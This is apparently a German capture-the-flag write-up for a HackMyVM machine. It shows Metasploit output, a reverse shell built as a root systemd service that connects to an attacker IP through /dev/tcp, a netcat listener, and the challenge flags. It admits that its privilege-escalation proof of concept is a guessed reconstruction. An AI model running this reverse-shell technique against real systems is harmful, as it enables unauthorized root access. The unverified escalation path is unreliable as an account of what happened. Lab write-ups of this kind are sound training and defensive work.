msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4473
lport => 4473
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4473
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.rixhxiv
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target does not appear vulnerable "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
                     
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > search suggester
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
                     
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set lport 4473
[!] Unknown datastore option: lport.
lport => 4473
                     
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.105 - Collecting local exploits for x86/linux...
[*] 192.168.2.105 - 187 exploit checks are being tried...
[+] 192.168.2.105 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.105 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.105 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 58 / 58
[*] 192.168.2.105 - Valid modules for session 2:


 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.


[*] Post module execution completed
                     

Analyse: `sudo systemctl status` wird als `joseph` ausgeführt.

Bewertung: Der Befehl zeigt laufende Dienste. Interessant ist der `user@1001.service` (wahrscheinlich für den Benutzer `richard` oder `catherine`) und der Prozess `/tmp/pRcSa`, der in der `session-4.scope` von `joseph` läuft. Dieser Prozess könnte Teil eines Exploits oder einer Persistenzmethode sein. Die Ausgabe `!/bin/bash root@elite-economists:/home/joseph#` am Ende ist fehlplatziert und gehört wahrscheinlich zur Root-Shell nach der Eskalation.

Empfehlung (Pentester): Untersuchen Sie den Prozess `/tmp/pRcSa`. Führen Sie `sudo -l` als `joseph` aus (wurde im Text übersprungen), um zu sehen, ob `systemctl` erlaubt ist, was die Systemd-PE erklären würde.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Prozesse in `/tmp`. Analysieren Sie die `sudo`-Rechte für `joseph`.

joseph@elite-economists:~$ sudo systemctl status
● elite-economists
    State: running
     Jobs: 0 queued
   Failed: 0 units
    Since: Thu 2023-10-26 12:30:05 UTC; 1h 1min ago
[...]
    │   ├─user@1001.service …
    │   │ └─init.scope
    │   │   ├─5453 /lib/systemd/systemd --user
    │   │   └─5454 (sd-pam)
    │   └─session-4.scope
    │     ├─5432 sshd: joseph [priv]
    │     ├─5533 sshd: joseph@pts/0
    │     ├─5534 -bash
    │     ├─6517 /tmp/pRcSa  <-- Interessanter Prozess
    │     ├─6728 sudo systemctl status
    │     ├─6729 systemctl status
    │     └─6730 pager
[...]
                     

Analyse: Nach der (undokumentierten) Privilegieneskalation wird als Root der Inhalt von `/root` aufgelistet.

Bewertung: Zeigt die `root.txt` und ein `snap`-Verzeichnis.

Empfehlung (Pentester): Lesen Sie `root.txt`.
Empfehlung (Admin): Sichern Sie das Root-Verzeichnis.

root@elite-economists:~# ls
root.txt  snap

Analyse: Kommentar, der den erfolgreichen Abschluss der Privilegieneskalation markiert.

Bewertung: Bestätigt die Erlangung von Root-Rechten.

Empfehlung (Pentester): Klare Dokumentation des Weges ist wichtig.
Empfehlung (Admin): Fokus auf die Behebung der PE-Schwachstelle.

Privilege Escalation erfolgreich
                     

Proof of Concept: Ausnutzung einer (vermuteten) Systemd-Fehlkonfiguration

Kurzbeschreibung: Basierend auf dem Vorhandensein einer Beispiel-Systemd-Unit-Datei im bereitgestellten Text wird angenommen, dass die Privilegieneskalation durch das Erstellen und Aktivieren eines bösartigen Systemd-Dienstes erfolgte. Dies erfordert, dass der Benutzer `joseph` entweder Schreibrechte in einem Systemd-Verzeichnis (`/etc/systemd/system/`, `/etc/systemd/user/` etc.) hat oder über `sudo`-Rechte verfügt, um Dienste zu verwalten (`systemctl enable`, `systemctl start`). Da der Text diese Details nicht enthält, ist dies eine Rekonstruktion des wahrscheinlichsten Pfades.

Voraussetzungen (Annahmen):

Schritt-für-Schritt-Anleitung (Rekonstruiert):

Analyse Schritt 1: Erstellen einer Systemd-Unit-Datei (z.B. `/tmp/revshell.service`) mit einer `ExecStart`-Anweisung, die eine Reverse Shell zum Angreifer startet.

Bewertung Schritt 1: Die bösartige Service-Definition wird vorbereitet.

Empfehlung (Pentester): Verwenden Sie einen eindeutigen Port für den Listener.
Empfehlung (Admin): Überwachen Sie die Erstellung von Dateien in Systemd-Verzeichnissen.

joseph@elite-economists:~$ cat > /tmp/revshell.service << EOF
> [Unit]
> Description=Reverse Shell Service
>
> [Service]
> User=root
> ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'
>
> [Install]
> WantedBy=multi-user.target
> EOF

Analyse Schritt 2: Verschieben oder Kopieren der Unit-Datei in ein Systemd-Verzeichnis (z.B. `/etc/systemd/system/`) und Aktivieren/Starten des Dienstes (erfordert wahrscheinlich `sudo`).

Bewertung Schritt 2: Wenn erfolgreich, wird der Dienst aktiviert und beim nächsten Start oder sofort ausgeführt.

Empfehlung (Pentester): Starten Sie den Listener, bevor Sie den Dienst aktivieren.
Empfehlung (Admin): Beschränken Sie Schreibrechte auf Systemd-Verzeichnisse und `sudo`-Rechte für `systemctl`.

joseph@elite-economists:~$ sudo mv /tmp/revshell.service /etc/systemd/system/revshell.service
# (Passworteingabe oder NOPASSWD erforderlich)
joseph@elite-economists:~$ sudo systemctl enable revshell.service
# (Erstellt Symlink)
joseph@elite-economists:~$ sudo systemctl start revshell.service

Analyse Schritt 3: Starten eines Netcat-Listeners auf dem Angreifer-System auf dem in der Payload angegebenen Port (hier 4444).

Bewertung Schritt 3: Der Listener wartet auf die eingehende Verbindung.

Empfehlung (Pentester): Warten Sie auf die Verbindung.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

Analyse Schritt 4: Sobald der Systemd-Dienst startet, wird die Reverse Shell ausgeführt und verbindet sich zum Listener.

Bewertung Schritt 4: Der Listener empfängt die Verbindung mit Root-Rechten.

Empfehlung (Pentester): Exploit erfolgreich.
Empfehlung (Admin): Beheben Sie die unsichere Systemd-Konfiguration oder `sudo`-Regel.

connect to [192.168.2.199] from (UNKNOWN) [192.168.2.105] 51234
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@elite-economists:/# id
uid=0(root) gid=0(root) groups=0(root)
                     
root@elite-economists:/#

Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen.

Beweismittel: Die empfangene Shell mit Root-Kennung (`#` Prompt, `uid=0(root)`) auf dem Netcat-Listener.

Risikobewertung: Hoch. Unsichere Systemd-Berechtigungen oder sudo-Regeln ermöglichen die vollständige Kompromittierung.

Empfehlungen: Stellen Sie sicher, dass nur berechtigte Benutzer Systemd-Dienste erstellen oder verwalten können. Überprüfen Sie `sudo`-Regeln sorgfältig und wenden Sie das Prinzip der geringsten Rechte an.

Flags

Anmerkung: Die Flags wurden direkt am Ende des Textes bereitgestellt. Die User-Flag unterscheidet sich von der zuvor im Text gezeigten Flag.

cat /home/joseph/user.txt
HMV{37q3p33CsMJgJQbrbYZMUFfTu}
cat /root/root.txt
HMV{NwER6XWyM8p5VpeFEkkcGYyeJ}